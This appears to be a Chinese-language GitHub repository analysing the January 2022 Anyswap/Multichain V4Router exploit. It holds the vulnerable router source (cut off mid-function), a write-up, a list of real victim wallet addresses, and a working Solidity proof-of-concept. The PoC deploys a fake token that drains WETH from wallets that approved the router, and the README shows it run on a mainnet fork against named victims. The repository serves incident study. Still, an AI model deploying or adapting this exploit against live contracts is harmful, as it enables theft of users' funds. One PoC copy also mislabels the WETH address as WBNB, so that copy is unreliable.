├── 111.png
├── 222.png
├── images
├── 111.png
├── 222.png
├── after.png
├── before.png
├── attack_1.png
├── attack_2.png
├── after_attack_2.png
├── innocent_user_1.png
└── innocent_user_2.png
├── 受害人-无辜用户地址.md
├── poc.sol
├── README.md
├── 分享.md
├── AnyswapV4Router.sol
└── WETH9.sol
/111.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/W2Ning/Anyswap_Vul_Poc/HEAD/111.png
--------------------------------------------------------------------------------
/222.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/W2Ning/Anyswap_Vul_Poc/HEAD/222.png
--------------------------------------------------------------------------------
/images/111.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/W2Ning/Anyswap_Vul_Poc/HEAD/images/111.png
--------------------------------------------------------------------------------
/images/222.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/W2Ning/Anyswap_Vul_Poc/HEAD/images/222.png
--------------------------------------------------------------------------------
/images/after.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/W2Ning/Anyswap_Vul_Poc/HEAD/images/after.png
--------------------------------------------------------------------------------
/images/before.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/W2Ning/Anyswap_Vul_Poc/HEAD/images/before.png
--------------------------------------------------------------------------------
/images/attack_1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/W2Ning/Anyswap_Vul_Poc/HEAD/images/attack_1.png
--------------------------------------------------------------------------------
/images/attack_2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/W2Ning/Anyswap_Vul_Poc/HEAD/images/attack_2.png
--------------------------------------------------------------------------------
/images/after_attack_2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/W2Ning/Anyswap_Vul_Poc/HEAD/images/after_attack_2.png
--------------------------------------------------------------------------------
/images/innocent_user_1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/W2Ning/Anyswap_Vul_Poc/HEAD/images/innocent_user_1.png
--------------------------------------------------------------------------------
/images/innocent_user_2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/W2Ning/Anyswap_Vul_Poc/HEAD/images/innocent_user_2.png
--------------------------------------------------------------------------------
/受害人-无辜用户地址.md:
--------------------------------------------------------------------------------
1 | * 无辜用户地址1
2 |
3 | ```
4 | 0xa77d0868a5604d3b525cd323ca4cb04d6d11f279
5 | ```
6 |
7 | * 无辜用户地址2
8 |
9 | ```
10 | 0xe85a9925527760a0fce192baab2cec349b223b50
11 | ```
12 |
13 | * 无辜用户地址3
14 |
15 | ```
16 | 0x4527106ae1a661a9d2ffc22575bacdaacb5e51e0
17 | ```
18 |
19 | * 无辜用户地址4
20 |
21 | ```
22 | 0x4a835c25824c47ecbfc79439bf3f5c3481aa75cd
23 | ```
24 |
25 | * 无辜用户地址5
26 |
27 | ```
28 | 0xf04a74425546afa9b245f7a97047cc7996263c14
29 | ```
30 |
31 | * 无辜用户地址6
32 |
33 | ```
34 | 0xfc10b6ce157735b42ce622361246c44327943cc2
35 | ```
36 |
--------------------------------------------------------------------------------
/poc.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: UNLICENSED
2 | pragma solidity >=0.7.0 <0.9.0;
3 |
4 | interface AnyswapV4Router {
5 |
6 | function anySwapOutUnderlyingWithPermit(
7 | address from,
8 | address token,
9 | address to,
10 | uint256 amount,
11 | uint256 deadline,
12 | uint8 v,
13 | bytes32 r,
14 | bytes32 s,
15 | uint256 toChainID
16 | ) external;
17 |
18 | }
19 |
20 | interface WETH {
21 |
22 | function approve(address guy, uint256 wad) external returns (bool);
23 |
24 | function withdraw(uint256 wad) external;
25 |
26 | function balanceOf(address) external view returns (uint256);
27 |
28 | function transfer(address dst, uint256 wad) external returns (bool);
29 |
30 | }
31 |
32 |
33 |
34 | contract poc{
35 |
36 | address AnyswapV4Router_Address = 0x6b7a87899490EcE95443e979cA9485CBE7E71522;
37 |
38 | address WETH_Address = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
39 |
40 | function attack(address innocent_user, uint256 amount) public{
41 |
42 | AnyswapV4Router(AnyswapV4Router_Address).anySwapOutUnderlyingWithPermit(innocent_user,address(this),msg.sender,amount,100000000000000000000,0,"0x","0x",56);
43 |
44 | WETH(WETH_Address).transfer(msg.sender, amount);
45 |
46 | }
47 |
48 |
49 | function burn(address from, uint256 amount) external returns (bool){
50 | return true;
51 | }
52 |
53 | function depositVault(uint amount, address to) external returns (uint){
54 | return 1;
55 | }
56 |
57 |
58 | function underlying() external view returns (address){
59 | return WETH_Address;
60 | }
61 |
62 | }
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Anyswap_Vul_Poc
2 | Anyswap aka Multichain V4Router 攻击事件的分析和复现
3 |
4 |
5 | ### 攻击交易
6 |
7 | ```
8 | 0xd07c0f40eec44f7674dddf617cbdec4758f258b531e99b18b8ee3b3b95885e7d
9 | ```
10 |
11 | ### 块高度
12 |
13 | ```
14 | 14028474
15 | ```
16 |
17 |
18 | ### 攻击步骤
19 |
20 | 1. 攻击合约调用`AnyswapV4Router`的`anySwapOutUnderlyingWithPermit`函数,传入参数:
21 | 1. 受害者地址
22 | 2. 虚假的Token地址
23 | 3. 攻击者的EOA地址
24 | 4. amount=200000000000000000
25 | 5. deadline=100000000000000000000
26 | 6. v=0
27 | 7. r=0x0000000000000000000000000000000000000000000000000000000000000000
28 | 8. s=0x0000000000000000000000000000000000000000000000000000000000000000
29 | 9. toChainID=56
30 |
31 | 2. 第一步会导致`AnyswapV4Router`调用虚假Token的`underlying()`函数, 虚假Token的返回值为:
32 | 1. WETH的地址
33 |
34 |
35 | 3. 第一步中`AnyswapV4Router`还会调用虚假Token的`depositVault()`函数, 虚假Token的返回值为:
36 | 1. 1
37 |
38 |
39 | 4. 第一步`AnyswapV4Router`最后会调用虚假Token的`burn()`函数, 虚假Token的返回值为:
40 | 1. true
41 |
42 | 5. 绕过各种校验后, AnyswapV4Router把`WETH`从受害人的账户转入攻击者的EOA地址
43 |
44 |
45 | ### 复现方法
46 |
47 | * fork
48 |
49 | ```
50 | npx ganache-cli --fork https://eth-mainnet.alchemyapi.io/v2/your_api_key@14028473 -l 4294967295
51 | ```
52 |
53 | * 部署攻击合约
54 |
55 | ```js
56 |
57 | // SPDX-License-Identifier: UNLICENSED
58 | pragma solidity >=0.7.0 <0.9.0;
59 |
60 | interface AnyswapV4Router {
61 |
62 | function anySwapOutUnderlyingWithPermit(
63 | address from,
64 | address token,
65 | address to,
66 | uint256 amount,
67 | uint256 deadline,
68 | uint8 v,
69 | bytes32 r,
70 | bytes32 s,
71 | uint256 toChainID
72 | ) external;
73 |
74 | }
75 |
76 | interface WETH {
77 |
78 | function approve(address guy, uint256 wad) external returns (bool);
79 |
80 | function withdraw(uint256 wad) external;
81 |
82 | function balanceOf(address) external view returns (uint256);
83 |
84 | function transfer(address dst, uint256 wad) external returns (bool);
85 |
86 | }
87 |
88 |
89 |
90 | contract poc{
91 |
92 | address AnyswapV4Router_Address = 0x6b7a87899490EcE95443e979cA9485CBE7E71522;
93 |
94 | address WETH_Address = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
95 |
96 | function attack(address innocent_user, uint256 amount) public{
97 |
98 | AnyswapV4Router(AnyswapV4Router_Address).anySwapOutUnderlyingWithPermit(innocent_user,address(this),msg.sender,amount,100000000000000000000,0,"0x","0x",56);
99 |
100 | WETH(WETH_Address).transfer(msg.sender, amount);
101 |
102 | }
103 |
104 |
105 | function burn(address from, uint256 amount) external returns (bool){
106 | return true;
107 | }
108 |
109 | function depositVault(uint amount, address to) external returns (uint){
110 | return 1;
111 | }
112 |
113 |
114 | function underlying() external view returns (address){
115 | return WETH_Address;
116 | }
117 |
118 | }
119 |
120 |
121 | ```
122 |
123 | * 查询第一个受害者有多少`WETH`
124 |
125 | 
126 |
127 | 该用户`0x5136e623126d3572933fbafe59ae97f13dd9687a`有大概5.7个`WETH`
128 |
129 | * 调用POC合约的`attack`函数, 传入第一个受害人的地址和数量
130 |
131 | 
132 |
133 |
134 | 
135 |
136 | * 查询第二个受害者有多少`WETH`
137 |
138 | 
139 |
140 | 该用户`0xa8a83c0a6fabadf21dbb1da1d9b24455c56f5573`刚好有3个`WETH`, 并且之前与`Anyswap`交互过
141 |
142 | * 同样的操作
143 |
144 | 
145 |
146 |
147 | 
148 |
149 |
--------------------------------------------------------------------------------
/分享.md:
--------------------------------------------------------------------------------
1 | ### 事件简述
2 |
3 | Anyswap是一个去中心化的跨链交换协议。
4 |
5 | 于2020年7月开始运行。
6 |
7 | 2021年7月11日, AnySwap Router V3 受到黑客攻击并损失787万美元。
8 |
9 | 2021年12月16日, Anyswap宣布更名为Multichain。
10 |
11 | 2022年1月18日,Multichain于medium发布漏洞预警信息,文章中称发现一严重漏洞,影响6个跨链Token,呼吁代币拥有者尽快转移资产。
12 |
13 | 尽管Multichain声称已经修复了漏洞,但是在当天还是有攻击者成功窃取了总价值约1400万美金的加密资产。
14 |
15 |
16 |
17 | ### 漏洞原理简析
18 |
19 | 1. `routerV4`合约没有对用户传入的Token地址做合法性校验
20 |
21 | 2. `WETH9`并不兼容`routerV4`的部分逻辑设计
22 |
23 | * 漏洞代码
24 |
25 | ```js
26 | function anySwap_OutUnderlying_WithPermit(
27 | address from,
28 | address token,
29 | address to,
30 | uint amount,
31 | uint deadline,
32 | uint8 v,
33 | bytes32 r,
34 | bytes32 s,
35 | uint toChainID
36 | ) external {
37 | address _underlying = AnyswapV1ERC20(token).underlying();
38 | IERC20(_underlying).permit(from, address(this), amount, deadline, v, r, s);
39 | TransferHelper.safeTransferFrom(_underlying, from, token, amount);
40 | AnyswapV1ERC20(token).depositVault(amount, from);
41 | _anySwapOut(from, token, to, amount, toChainID);
42 | }
43 | ```
44 |
45 |
46 | #### EIP-2612
47 |
48 | EIP-2612为ERC-20标准增加了一个新的函数:`permit`
49 |
50 | 它允许用户在链下签署授权的交易,生成任何人都可以使用并提交给区块链的签名。
51 |
52 | 该标准优化了传统ERC20Token对用户不友好的两步过程:
53 |
54 | ```
55 | approve + transferFrom
56 | ```
57 |
58 | 简单来说:过去要`approve`后我们才能把代币转给别的合约。
59 | 但如果该代币支持了`permit`(例如USDC),那我们就可以透过在链下用私钥签署产生一个签名,
60 | 使用这个签名,别人(其他EOA或者合约地址)就可以帮我们调用`permit`然后把代币转走。
61 |
62 |
63 | * 然而`WETH9`并不支持`EIP-2612`协议, 没有实现`permit`函数
64 | * 并且如果强行调用`WETH9`上不存在的函数时, `WETH9`不会`Revert`, 交易会继续进行
65 | * AnySwap在功能设计上没有考虑到规避这一点
66 |
67 |
68 | ### 攻击步骤分析
69 |
70 | * 在正常使用逻辑中
71 |
72 | 用户调用`anySwapOutUnderlyingWithPermit`函数, 传入的token地址应为Anyswap官方部署的`anyERC20`地址, 在成功校验用户传入的签名后, 进行与之对应的`ERC20`转账操作.
73 |
74 | 
75 |
76 |
77 | 事实上Anyswap并没有部署与`WETH9`对应的`anyWETH`合约, 于是攻击者自己部署了一个假的
78 |
79 | 
80 |
81 |
82 | 这样攻击者就绕过了签名的校验, 把受害人的`WETH`转到了自己的账户
83 |
84 | ### 复现
85 |
86 | * fork
87 |
88 | ```
89 | npx ganache-cli --fork https://eth-mainnet.alchemyapi.io/v2/your_api_key@14028473 -l 4294967295
90 | ```
91 |
92 | * 部署攻击合约
93 |
94 | ```js
95 |
96 | // SPDX-License-Identifier: UNLICENSED
97 | pragma solidity >=0.7.0 <0.9.0;
98 |
99 | interface AnyswapV4Router {
100 |
101 | function anySwapOutUnderlyingWithPermit(
102 | address from,
103 | address token,
104 | address to,
105 | uint256 amount,
106 | uint256 deadline,
107 | uint8 v,
108 | bytes32 r,
109 | bytes32 s,
110 | uint256 toChainID
111 | ) external;
112 |
113 | }
114 |
115 | interface WBNB {
116 |
117 | function approve(address guy, uint256 wad) external returns (bool);
118 |
119 | function withdraw(uint256 wad) external;
120 |
121 | function balanceOf(address) external view returns (uint256);
122 |
123 | function transfer(address dst, uint256 wad) external returns (bool);
124 |
125 | }
126 |
127 |
128 |
129 | contract poc{
130 |
131 | address AnyswapV4Router_Address = 0x6b7a87899490EcE95443e979cA9485CBE7E71522;
132 |
133 | address WBNB_Address = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
134 |
135 | function attack(address innocent_user, uint256 amount) public{
136 |
137 | AnyswapV4Router(AnyswapV4Router_Address).anySwapOutUnderlyingWithPermit(innocent_user,address(this),msg.sender,amount,100000000000000000000,0,"0x","0x",56);
138 |
139 | WBNB(WBNB_Address).transfer(msg.sender, amount);
140 |
141 | }
142 |
143 |
144 | function burn(address from, uint256 amount) external returns (bool){
145 | return true;
146 | }
147 |
148 | function depositVault(uint amount, address to) external returns (uint){
149 | return 1;
150 | }
151 |
152 |
153 | function underlying() external view returns (address){
154 | return WBNB_Address;
155 | }
156 |
157 | }
158 |
159 |
160 | ```
161 |
162 |
163 |
--------------------------------------------------------------------------------
/AnyswapV4Router.sol:
--------------------------------------------------------------------------------
1 | /**
2 | *Submitted for verification at Etherscan.io on 2021-06-18
3 | */
4 |
5 | /**
6 | *Submitted for verification at FtmScan.com on 2021-05-31
7 | */
8 |
9 | /**
10 | *Submitted for verification at BscScan.com on 2021-04-15
11 | */
12 |
13 | /**
14 | *Submitted for verification at BscScan.com on 2021-04-08
15 | */
16 |
17 | /**
18 | *Submitted for verification at hecoinfo.com on 2021-04-08
19 | */
20 |
21 | // SPDX-License-Identifier: GPL-3.0-or-later
22 |
23 | pragma solidity >=0.8.0;
24 |
25 | interface ISushiswapV2Pair {
26 | function factory() external view returns (address);
27 | function token0() external view returns (address);
28 | function token1() external view returns (address);
29 | function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
30 | function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
31 | }
32 |
33 | // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
34 |
35 | library SafeMathSushiswap {
36 | function add(uint x, uint y) internal pure returns (uint z) {
37 | require((z = x + y) >= x, 'ds-math-add-overflow');
38 | }
39 |
40 | function sub(uint x, uint y) internal pure returns (uint z) {
41 | require((z = x - y) <= x, 'ds-math-sub-underflow');
42 | }
43 |
44 | function mul(uint x, uint y) internal pure returns (uint z) {
45 | require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
46 | }
47 | }
48 |
49 | library SushiswapV2Library {
50 | using SafeMathSushiswap for uint;
51 |
52 | // returns sorted token addresses, used to handle return values from pairs sorted in this order
53 | function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
54 | require(tokenA != tokenB, 'SushiswapV2Library: IDENTICAL_ADDRESSES');
55 | (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
56 | require(token0 != address(0), 'SushiswapV2Library: ZERO_ADDRESS');
57 | }
58 |
59 | // calculates the CREATE2 address for a pair without making any external calls
60 | function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
61 | (address token0, address token1) = sortTokens(tokenA, tokenB);
62 | pair = address(uint160(uint256(keccak256(abi.encodePacked(
63 | hex'ff',
64 | factory,
65 | keccak256(abi.encodePacked(token0, token1)),
66 | hex'e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303' // init code hash
67 | )))));
68 | }
69 |
70 | // fetches and sorts the reserves for a pair
71 | function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
72 | (address token0,) = sortTokens(tokenA, tokenB);
73 | (uint reserve0, uint reserve1,) = ISushiswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
74 | (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
75 | }
76 |
77 | // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
78 | function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
79 | require(amountA > 0, 'SushiswapV2Library: INSUFFICIENT_AMOUNT');
80 | require(reserveA > 0 && reserveB > 0, 'SushiswapV2Library: INSUFFICIENT_LIQUIDITY');
81 | amountB = amountA.mul(reserveB) / reserveA;
82 | }
83 |
84 | // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
85 | function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
86 | require(amountIn > 0, 'SushiswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
87 | require(reserveIn > 0 && reserveOut > 0, 'SushiswapV2Library: INSUFFICIENT_LIQUIDITY');
88 | uint amountInWithFee = amountIn.mul(997);
89 | uint numerator = amountInWithFee.mul(reserveOut);
90 | uint denominator = reserveIn.mul(1000).add(amountInWithFee);
91 | amountOut = numerator / denominator;
92 | }
93 |
94 | // given an output amount of an asset and pair reserves, returns a required input amount of the other asset
95 | function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
96 | require(amountOut > 0, 'SushiswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
97 | require(reserveIn > 0 && reserveOut > 0, 'SushiswapV2Library: INSUFFICIENT_LIQUIDITY');
98 | uint numerator = reserveIn.mul(amountOut).mul(1000);
99 | uint denominator = reserveOut.sub(amountOut).mul(997);
100 | amountIn = (numerator / denominator).add(1);
101 | }
102 |
103 | // performs chained getAmountOut calculations on any number of pairs
104 | function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
105 | require(path.length >= 2, 'SushiswapV2Library: INVALID_PATH');
106 | amounts = new uint[](path.length);
107 | amounts[0] = amountIn;
108 | for (uint i; i < path.length - 1; i++) {
109 | (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
110 | amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
111 | }
112 | }
113 |
114 | // performs chained getAmountIn calculations on any number of pairs
115 | function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
116 | require(path.length >= 2, 'SushiswapV2Library: INVALID_PATH');
117 | amounts = new uint[](path.length);
118 | amounts[amounts.length - 1] = amountOut;
119 | for (uint i = path.length - 1; i > 0; i--) {
120 | (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
121 | amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
122 | }
123 | }
124 | }
125 |
126 | // helper methods for interacting with ERC20 tokens and sending NATIVE that do not consistently return true/false
127 | library TransferHelper {
128 | function safeApprove(address token, address to, uint value) internal {
129 | // bytes4(keccak256(bytes('approve(address,uint256)')));
130 | (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
131 | require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
132 | }
133 |
134 | function safeTransfer(address token, address to, uint value) internal {
135 | // bytes4(keccak256(bytes('transfer(address,uint256)')));
136 | (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
137 | require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
138 | }
139 |
140 | function safeTransferFrom(address token, address from, address to, uint value) internal {
141 | // bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
142 | (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
143 | require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
144 | }
145 |
146 | function safeTransferNative(address to, uint value) internal {
147 | (bool success,) = to.call{value:value}(new bytes(0));
148 | require(success, 'TransferHelper: NATIVE_TRANSFER_FAILED');
149 | }
150 | }
151 |
152 | interface IwNATIVE {
153 | function deposit() external payable;
154 | function transfer(address to, uint value) external returns (bool);
155 | function withdraw(uint) external;
156 | }
157 |
158 | interface AnyswapV1ERC20 {
159 | function mint(address to, uint256 amount) external returns (bool);
160 | function burn(address from, uint256 amount) external returns (bool);
161 | function changeVault(address newVault) external returns (bool);
162 | function depositVault(uint amount, address to) external returns (uint);
163 | function withdrawVault(address from, uint amount, address to) external returns (uint);
164 | function underlying() external view returns (address);
165 | }
166 |
167 | /**
168 | * @dev Interface of the ERC20 standard as defined in the EIP.
169 | */
170 | interface IERC20 {
171 | function totalSupply() external view returns (uint256);
172 | function balanceOf(address account) external view returns (uint256);
173 | function transfer(address recipient, uint256 amount) external returns (bool);
174 | function allowance(address owner, address spender) external view returns (uint256);
175 | function approve(address spender, uint256 amount) external returns (bool);
176 | function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
177 | function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
178 | function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external returns (bool);
179 |
180 | event Transfer(address indexed from, address indexed to, uint256 value);
181 | event Approval(address indexed owner, address indexed spender, uint256 value);
182 | }
183 |
184 | contract AnyswapV4Router {
185 | using SafeMathSushiswap for uint;
186 |
187 | address public immutable factory;
188 | address public immutable wNATIVE;
189 |
190 | modifier ensure(uint deadline) {
191 | require(deadline >= block.timestamp, 'AnyswapV3Router: EXPIRED');
192 | _;
193 | }
194 |
195 | constructor(address _factory, address _wNATIVE, address _mpc) {
196 | _newMPC = _mpc;
197 | _newMPCEffectiveTime = block.timestamp;
198 | factory = _factory;
199 | wNATIVE = _wNATIVE;
200 | }
201 |
202 | receive() external payable {
203 | assert(msg.sender == wNATIVE); // only accept Native via fallback from the wNative contract
204 | }
205 |
206 | address private _oldMPC;
207 | address private _newMPC;
208 | uint256 private _newMPCEffectiveTime;
209 |
210 |
211 | event LogChangeMPC(address indexed oldMPC, address indexed newMPC, uint indexed effectiveTime, uint chainID);
212 | event LogChangeRouter(address indexed oldRouter, address indexed newRouter, uint chainID);
213 | event LogAnySwapIn(bytes32 indexed txhash, address indexed token, address indexed to, uint amount, uint fromChainID, uint toChainID);
214 | event LogAnySwapOut(address indexed token, address indexed from, address indexed to, uint amount, uint fromChainID, uint toChainID);
215 | event LogAnySwapTradeTokensForTokens(address[] path, address indexed from, address indexed to, uint amountIn, uint amountOutMin, uint fromChainID, uint toChainID);
216 | event LogAnySwapTradeTokensForNative(address[] path, address indexed from, address indexed to, uint amountIn, uint amountOutMin, uint fromChainID, uint toChainID);
217 |
218 | modifier onlyMPC() {
219 | require(msg.sender == mpc(), "AnyswapV3Router: FORBIDDEN");
220 | _;
221 | }
222 |
223 | function mpc() public view returns (address) {
224 | if (block.timestamp >= _newMPCEffectiveTime) {
225 | return _newMPC;
226 | }
227 | return _oldMPC;
228 | }
229 |
230 | function cID() public view returns (uint id) {
231 | assembly {id := chainid()}
232 | }
233 |
234 | function changeMPC(address newMPC) public onlyMPC returns (bool) {
235 | require(newMPC != address(0), "AnyswapV3Router: address(0x0)");
236 | _oldMPC = mpc();
237 | _newMPC = newMPC;
238 | _newMPCEffectiveTime = block.timestamp + 2*24*3600;
239 | emit LogChangeMPC(_oldMPC, _newMPC, _newMPCEffectiveTime, cID());
240 | return true;
241 | }
242 |
243 | function changeVault(address token, address newVault) public onlyMPC returns (bool) {
244 | require(newVault != address(0), "AnyswapV3Router: address(0x0)");
245 | return AnyswapV1ERC20(token).changeVault(newVault);
246 | }
247 |
248 | function _anySwapOut(address from, address token, address to, uint amount, uint toChainID) internal {
249 | AnyswapV1ERC20(token).burn(from, amount);
250 | emit LogAnySwapOut(token, from, to, amount, cID(), toChainID);
251 | }
252 |
253 | // Swaps `amount` `token` from this chain to `toChainID` chain with recipient `to`
254 | function anySwapOut(address token, address to, uint amount, uint toChainID) external {
255 | _anySwapOut(msg.sender, token, to, amount, toChainID);
256 | }
257 |
258 | // Swaps `amount` `token` from this chain to `toChainID` chain with recipient `to` by minting with `underlying`
259 | function anySwapOutUnderlying(address token, address to, uint amount, uint toChainID) external {
260 | TransferHelper.safeTransferFrom(AnyswapV1ERC20(token).underlying(), msg.sender, token, amount);
261 | AnyswapV1ERC20(token).depositVault(amount, msg.sender);
262 | _anySwapOut(msg.sender, token, to, amount, toChainID);
263 | }
264 |
265 | function anySwapOutUnderlyingWithPermit(
266 | address from,
267 | address token,
268 | address to,
269 | uint amount,
270 | uint deadline,
271 | uint8 v,
272 | bytes32 r,
273 | bytes32 s,
274 | uint toChainID
275 | ) external {
276 | address _underlying = AnyswapV1ERC20(token).underlying();
277 | IERC20(_underlying).permit(from, address(this), amount, deadline, v, r, s);
278 | TransferHelper.safeTransferFrom(_underlying, from, token, amount);
279 | AnyswapV1ERC20(token).depositVault(amount, from);
280 | _anySwapOut(from, token, to, amount, toChainID);
281 | }
282 |
283 | function anySwapOutUnderlyingWithTransferPermit(
284 | address from,
285 | address token,
286 | address to,
287 | uint amount,
288 | uint deadline,
289 | uint8 v,
290 | bytes32 r,
291 | bytes32 s,
292 | uint toChainID
293 | ) external {
294 | IERC20(AnyswapV1ERC20(token).underlying()).transferWithPermit(from, token, amount, deadline, v, r, s);
295 | AnyswapV1ERC20(token).depositVault(amount, from);
296 | _anySwapOut(from, token, to, amount, toChainID);
297 | }
298 |
299 | function anySwapOut(address[] calldata tokens, address[] calldata to, uint[] calldata amounts, uint[] calldata toChainIDs) external {
300 | for (uint i = 0; i < tokens.length; i++) {
301 | _anySwapOut(msg.sender, tokens[i], to[i], amounts[i], toChainIDs[i]);
302 | }
303 | }
304 |
305 | // swaps `amount` `token` in `fromChainID` to `to` on this chainID
306 | function _anySwapIn(bytes32 txs, address token, address to, uint amount, uint fromChainID) internal {
307 | AnyswapV1ERC20(token).mint(to, amount);
308 | emit LogAnySwapIn(txs, token, to, amount, fromChainID, cID());
309 | }
310 |
311 | // swaps `amount` `token` in `fromChainID` to `to` on this chainID
312 | // triggered by `anySwapOut`
313 | function anySwapIn(bytes32 txs, address token, address to, uint amount, uint fromChainID) external onlyMPC {
314 | _anySwapIn(txs, token, to, amount, fromChainID);
315 | }
316 |
317 | // swaps `amount` `token` in `fromChainID` to `to` on this chainID with `to` receiving `underlying`
318 | function anySwapInUnderlying(bytes32 txs, address token, address to, uint amount, uint fromChainID) external onlyMPC {
319 | _anySwapIn(txs, token, to, amount, fromChainID);
320 | AnyswapV1ERC20(token).withdrawVault(to, amount, to);
321 | }
322 |
323 | // swaps `amount` `token` in `fromChainID` to `to` on this chainID with `to` receiving `underlying` if possible
324 | function anySwapInAuto(bytes32 txs, address token, address to, uint amount, uint fromChainID) external onlyMPC {
325 | _anySwapIn(txs, token, to, amount, fromChainID);
326 | AnyswapV1ERC20 _anyToken = AnyswapV1ERC20(token);
327 | address _underlying = _anyToken.underlying();
328 | if (_underlying != address(0) && IERC20(_underlying).balanceOf(token) >= amount) {
329 | _anyToken.withdrawVault(to, amount, to);
330 | }
331 | }
332 |
333 | // extracts mpc fee from bridge fees
334 | function anySwapFeeTo(address token, uint amount) external onlyMPC {
335 | address _mpc = mpc();
336 | AnyswapV1ERC20(token).mint(_mpc, amount);
337 | AnyswapV1ERC20(token).withdrawVault(_mpc, amount, _mpc);
338 | }
339 |
340 | function anySwapIn(bytes32[] calldata txs, address[] calldata tokens, address[] calldata to, uint256[] calldata amounts, uint[] calldata fromChainIDs) external onlyMPC {
341 | for (uint i = 0; i < tokens.length; i++) {
342 | _anySwapIn(txs[i], tokens[i], to[i], amounts[i], fromChainIDs[i]);
343 | }
344 | }
345 |
346 | // **** SWAP ****
347 | // requires the initial amount to have already been sent to the first pair
348 | function _swap(uint[] memory amounts, address[] memory path, address _to) internal virtual {
349 | for (uint i; i < path.length - 1; i++) {
350 | (address input, address output) = (path[i], path[i + 1]);
351 | (address token0,) = SushiswapV2Library.sortTokens(input, output);
352 | uint amountOut = amounts[i + 1];
353 | (uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOut) : (amountOut, uint(0));
354 | address to = i < path.length - 2 ? SushiswapV2Library.pairFor(factory, output, path[i + 2]) : _to;
355 | ISushiswapV2Pair(SushiswapV2Library.pairFor(factory, input, output)).swap(
356 | amount0Out, amount1Out, to, new bytes(0)
357 | );
358 | }
359 | }
360 |
361 | // sets up a cross-chain trade from this chain to `toChainID` for `path` trades to `to`
362 | function anySwapOutExactTokensForTokens(
363 | uint amountIn,
364 | uint amountOutMin,
365 | address[] calldata path,
366 | address to,
367 | uint deadline,
368 | uint toChainID
369 | ) external virtual ensure(deadline) {
370 | AnyswapV1ERC20(path[0]).burn(msg.sender, amountIn);
371 | emit LogAnySwapTradeTokensForTokens(path, msg.sender, to, amountIn, amountOutMin, cID(), toChainID);
372 | }
373 |
374 | // sets up a cross-chain trade from this chain to `toChainID` for `path` trades to `to`
375 | function anySwapOutExactTokensForTokensUnderlying(
376 | uint amountIn,
377 | uint amountOutMin,
378 | address[] calldata path,
379 | address to,
380 | uint deadline,
381 | uint toChainID
382 | ) external virtual ensure(deadline) {
383 | TransferHelper.safeTransferFrom(AnyswapV1ERC20(path[0]).underlying(), msg.sender, path[0], amountIn);
384 | AnyswapV1ERC20(path[0]).depositVault(amountIn, msg.sender);
385 | AnyswapV1ERC20(path[0]).burn(msg.sender, amountIn);
386 | emit LogAnySwapTradeTokensForTokens(path, msg.sender, to, amountIn, amountOutMin, cID(), toChainID);
387 | }
388 |
389 | // sets up a cross-chain trade from this chain to `toChainID` for `path` trades to `to`
390 | function anySwapOutExactTokensForTokensUnderlyingWithPermit(
391 | address from,
392 | uint amountIn,
393 | uint amountOutMin,
394 | address[] calldata path,
395 | address to,
396 | uint deadline,
397 | uint8 v,
398 | bytes32 r,
399 | bytes32 s,
400 | uint toChainID
